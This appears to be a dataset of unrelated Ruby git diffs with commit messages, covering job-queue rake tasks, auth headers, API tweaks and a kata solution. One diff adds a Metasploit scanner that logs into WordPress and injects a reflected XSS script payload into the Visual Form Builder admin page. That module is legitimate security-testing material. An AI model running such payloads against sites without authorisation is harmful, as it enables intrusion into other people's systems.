diff --git a/lib/que/rake_tasks.rb b/lib/que/rake_tasks.rb index abc1234..def5678 100644 --- a/lib/que/rake_tasks.rb +++ b/lib/que/rake_tasks.rb @@ -1,15 +1,39 @@+require 'logger' + namespace :que do - desc "Creates Que's job table" + desc "Process Que's jobs using a worker pool" + task :work => :environment do + Que.logger = Logger.new(STDOUT) + Que.mode = :async + Que.worker_count = (ENV['WORKER_COUNT'] || 4).to_i + + trap('INT') { exit } + trap 'TERM' do + puts "SIGTERM, finishing current jobs and shutting down..." + Que.mode = :off + end + + sleep + end + + desc "Process Que's jobs in a single thread" + task :work_single => :environment do + Que.logger = Logger.new(STDOUT) + sleep_period = (ENV['SLEEP_PERIOD'] || 5).to_i + loop { sleep(sleep_period) unless Que::Job.work } + end + + desc "Create Que's job table" task :create => :environment do Que.create! end - desc "Drops Que's job table" + desc "Drop Que's job table" task :drop => :environment do Que.drop! end - desc "Clears Que's job table" + desc "Clear Que's job table" task :clear => :environment do Que.clear! end
Fix up rake tasks, and add a couple options for working jobs.
diff --git a/lib/radiant/engine.rb b/lib/radiant/engine.rb index abc1234..def5678 100644 --- a/lib/radiant/engine.rb +++ b/lib/radiant/engine.rb @@ -1,4 +1,7 @@ require 'haml' +require 'will_paginate' +require 'string_extensions' + module Radiant class Engine < Rails::Engine isolate_namespace Radiant @@ -8,8 +11,16 @@ g.integration_tool :cucumber end + config.enabled_extensions = [] + initializer 'radiant.load_static_assets' do |app| app.middleware.use ::ActionDispatch::Static, "#{root}/public" end + + initializer 'radiant.controller' do |app| + ActiveSupport.on_load(:action_controller) do + require 'radiant/admin_ui' + end + end end end
Add require statements to Radiant Engine class
diff --git a/lib/tasks/resque.rake b/lib/tasks/resque.rake index abc1234..def5678 100644 --- a/lib/tasks/resque.rake +++ b/lib/tasks/resque.rake @@ -1 +1,8 @@-require 'resque/tasks'+require 'resque/tasks' + +task 'resque:setup' => :environment do + ENV['QUEUE'] = '*' +end + +desc "Alias for resque:work (To run workers on Heroku)" +task 'jobs:work' => 'resque:work'
Configure Resque to work on Heroku
diff --git a/lib/tok/controller.rb b/lib/tok/controller.rb index abc1234..def5678 100644 --- a/lib/tok/controller.rb +++ b/lib/tok/controller.rb @@ -10,7 +10,7 @@ end def authenticate! - head :unauthorized unless authorized? + authentication_required unless authorized? end def current_user @@ -30,6 +30,11 @@ end private + + def authentication_required + self.headers["WWW-Authenticate"] = 'Token realm="Application"' + render json: {error: "Access denied."}, status: :unauthorized + end def authorized? resource = resource_class.where(authentication_token: token).first
Send WWW-Authenticate header if not authorized
diff --git a/0_code_wars/most_frequent_element.rb b/0_code_wars/most_frequent_element.rb index abc1234..def5678 100644 --- a/0_code_wars/most_frequent_element.rb +++ b/0_code_wars/most_frequent_element.rb @@ -0,0 +1,13 @@+# http://www.codewars.com/kata/56582133c932d8239900002e/ +# --- iteration 1 --- +def most_frequent_item_count(collection) + counts = collection.each_with_object(Hash.new(0)) do |element, acc| + acc[element.to_s] = acc[element.to_s] + 1 + end + counts.empty? ? 0 : counts.values.max +end + +# --- iteration 2 --- +def most_frequent_item_count(col) + col.uniq.map{ |x| col.count(x) }.max || 0 +end
Add code wars (7) - most frequent element
diff --git a/app/controllers/api/v1/tracks_controller.rb b/app/controllers/api/v1/tracks_controller.rb index abc1234..def5678 100644 --- a/app/controllers/api/v1/tracks_controller.rb +++ b/app/controllers/api/v1/tracks_controller.rb @@ -4,7 +4,7 @@ def search itunes = ITunes::Client.new - songs = itunes.music(params[:q], country: :jp) + songs = itunes.music(params[:q], country: :jp, entity: :song, limit: 25) @object = proxy_all_insecure_urls(songs) respond_with :api, :v1, @object rescue => e @@ -20,6 +20,7 @@ s.results.to_a.each do |result| %w(artwork_url30 artwork_url60 artwork_url100 preview_url).each do |attr| url = result[attr] + next if url.nil? next if url.start_with?('https://') encrypted_url = encrypt_by_secret_key(url) result[attr] = url_for(controller: '/proxies', action: :any, url: encrypted_url)
Fix iTunes search scope on musics
diff --git a/app/controllers/service_types_controller.rb b/app/controllers/service_types_controller.rb index abc1234..def5678 100644 --- a/app/controllers/service_types_controller.rb +++ b/app/controllers/service_types_controller.rb @@ -3,7 +3,7 @@ # Authentication by default inherited from ApplicationController. - before_action :authorize_for_districtwide_access_admin, only: [:is_service_working] + before_action :authorize_for_districtwide_access_admin, except: [:index] def authorize_for_districtwide_access_admin unless current_educator.admin? && current_educator.districtwide_access?
Make sure JSON endpoint auth is restricted to districtwide access users only
diff --git a/config/initializers/rakismet.rb b/config/initializers/rakismet.rb index abc1234..def5678 100644 --- a/config/initializers/rakismet.rb +++ b/config/initializers/rakismet.rb @@ -1,2 +1,2 @@-Rails.application.config.rakismet.key = ENV['AKISMET_KEY'] +Rails.application.config.rakismet.key = ENV['AKISMET_KEY'] || 'test' Rails.application.config.rakismet.url = 'http://refugerestrooms.org'
Add default Akismet key for testing
diff --git a/modules/auxiliary/scanner/http/wordpress/wp_visual_form_builder_xss_scanner.rb b/modules/auxiliary/scanner/http/wordpress/wp_visual_form_builder_xss_scanner.rb index abc1234..def5678 100644 --- a/modules/auxiliary/scanner/http/wordpress/wp_visual_form_builder_xss_scanner.rb +++ b/modules/auxiliary/scanner/http/wordpress/wp_visual_form_builder_xss_scanner.rb @@ -0,0 +1,88 @@+## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::HTTP::Wordpress + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress Visual Form Builder Plugin XSS Scanner', + 'Description' => %q{ + This module attempts to exploit a authenticated Cross-Site Scripting in Visual Form Builder + Plugin for Wordpress, version 2.8.2 and likely prior in order if the instance is vulnerable. + }, + 'Author' => + [ + 'Tim Coen', # Vulnerability Discovery + 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' # Metasploit Module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['WPVDB', '7991'], + ['URL', 'http://software-talk.org/blog/2015/05/sql-injection-reflected-xss-visual-form-builder-wordpress-plugin/'] + ], + 'DisclosureDate' => 'May 15 2015' + )) + + register_options( + [ + OptString.new('WP_USER', [true, 'A valid username', nil]), + OptString.new('WP_PASSWORD', [true, 'Valid password for the provided username', nil]) + ], self.class) + end + + def check + check_plugin_version_from_readme('visual-form-builder', '2.8.3') + end + + def user + datastore['WP_USER'] + end + + def password + datastore['WP_PASSWORD'] + end + + def run_host(ip) + print_status("#{peer} - Trying to login as #{user}") + cookie = wordpress_login(user, password) + if cookie.nil? + print_error("#{peer} - Unable to login as #{user}") + return + end + print_good("#{peer} - Login successful") + + xss = Rex::Text.rand_text_numeric(8) + xss_payload = '><script>alert(' + "#{xss}" + ');</script>' + + res = send_request_cgi( + 'uri' => normalize_uri(wordpress_url_backend, 'admin.php'), + 'vars_get' => { + 'page' => 'visual-form-builder', + 's' => "#{xss_payload}" + }, + 'cookie' => cookie + ) + + unless res && res.body + print_error("#{peer} - Server did not respond in an expected way") + return + end + + if res.code == 200 && res.body =~ /#{xss}/ + print_good("#{peer} - Vulnerable to Cross-Site Scripting the \"Visual Form Builder 2.8.2\" plugin for Wordpress") + p = store_local('wp_visualform.http', 'text/html', res.body, "#{xss}") + print_good("Save in: #{p}") + else + print_error("#{peer} - Failed, maybe the target isn't vulnerable.") + end + end +end
Add WordPress Visual Form Builder XSS Scanner.
diff --git a/app/controllers/connections_controller.rb b/app/controllers/connections_controller.rb index abc1234..def5678 100644 --- a/app/controllers/connections_controller.rb +++ b/app/controllers/connections_controller.rb @@ -26,12 +26,6 @@ @connection = Connection.new(receiver_id: @receiver.id, initializer_id: @initializer) end - def edit - end - - def update - end - def destroy end
Delete edit and update method for connections